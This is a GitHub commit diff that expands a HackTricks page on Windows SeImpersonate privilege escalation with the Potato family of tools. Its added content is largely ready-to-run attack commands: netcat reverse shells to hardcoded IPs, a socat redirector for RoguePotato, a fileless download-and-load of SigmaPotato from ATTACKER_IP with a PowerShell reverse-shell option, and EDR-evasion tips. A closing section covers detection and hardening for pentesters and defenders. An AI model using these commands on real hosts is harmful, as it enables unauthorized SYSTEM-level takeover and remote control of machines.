Skip to content

Commit 4d52d6a

Browse files
authored
Merge pull request #1344 from HackTricks-wiki/research_update_src_windows-hardening_windows-local-privilege-escalation_roguepotato-and-printspoofer_20250827_012537
Research Update Enhanced src/windows-hardening/windows-local...
2 parents 9040f9c + 4992be7 commit 4d52d6a

1 file changed

Lines changed: 96 additions & 4 deletions

File tree

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

Lines changed: 96 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,45 @@
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5-
> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
5+
> [!WARNING]
6+
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
7+
8+
> [!TIP]
9+
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
10+
11+
Related pages for background and manual techniques:
12+
13+
{{#ref}}
14+
seimpersonate-from-high-to-system.md
15+
{{#endref}}
16+
17+
{{#ref}}
18+
from-high-integrity-to-system-with-name-pipes.md
19+
{{#endref}}
20+
21+
{{#ref}}
22+
privilege-escalation-abusing-tokens.md
23+
{{#endref}}
24+
25+
## Requirements and common gotchas
26+
27+
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
28+
29+
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
30+
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
31+
32+
Check privileges quickly:
33+
34+
```cmd
35+
whoami /priv | findstr /i impersonate
36+
```
37+
38+
Operational notes:
39+
40+
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
41+
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
42+
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
43+
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
644

745
## Quick Demo
846

@@ -23,6 +61,10 @@ NULL
2361

2462
```
2563

64+
Notes:
65+
- You can use -i to spawn an interactive process in the current console, or -c to run a one-liner.
66+
- Requires Spooler service. If disabled, this will fail.
67+
2668
### RoguePotato
2769

2870
```bash
@@ -31,6 +73,16 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
3173
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
3274
```
3375

76+
If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector:
77+
78+
```bash
79+
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
80+
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
81+
82+
# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
83+
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
84+
```
85+
3486
### SharpEfsPotato
3587

3688
```bash
@@ -71,6 +123,13 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
71123
nt authority\system
72124
```
73125
126+
Tip: If one pipe fails or EDR blocks it, try the other supported pipes:
127+
128+
```text
129+
EfsPotato <cmd> [pipe]
130+
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
131+
```
132+
74133
### GodPotato
75134
76135
```bash
@@ -79,10 +138,44 @@ nt authority\system
79138
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
80139
```
81140
141+
Notes:
142+
- Works across Windows 8/8.1–11 and Server 2012–2022 when SeImpersonatePrivilege is present.
143+
82144
### DCOMPotato
83145
84146
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
85147
148+
DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Build or use the provided binaries and run your command:
149+
150+
```cmd
151+
# PrinterNotify variant
152+
PrinterNotifyPotato.exe "cmd /c whoami"
153+
154+
# McpManagementService variant (Server 2022 also)
155+
McpManagementPotato.exe "cmd /c whoami"
156+
```
157+
158+
### SigmaPotato (updated GodPotato fork)
159+
160+
SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper.
161+
162+
```powershell
163+
# Load and execute from memory (no disk touch)
164+
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
165+
[SigmaPotato]::Main("cmd /c whoami")
166+
167+
# Or ask it to spawn a PS reverse shell
168+
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
169+
```
170+
171+
## Detection and hardening notes
172+
173+
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
174+
- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss.
175+
- Service account hardening: Minimize assignment of SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege to custom services. Consider running services under virtual accounts with least privileges required and isolating them with service SID and write-restricted tokens when possible.
176+
- Network controls: Blocking outbound TCP/135 or restricting RPC endpoint mapper traffic can break RoguePotato unless an internal redirector is available.
177+
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections.
178+
86179
## References
87180
88181
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
@@ -92,8 +185,7 @@ nt authority\system
92185
- [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
93186
- [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
94187
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
188+
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
189+
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
95190
96191
{{#include ../../banners/hacktricks-training.md}}
97-
98-
99-

0 commit comments

Comments
 (0)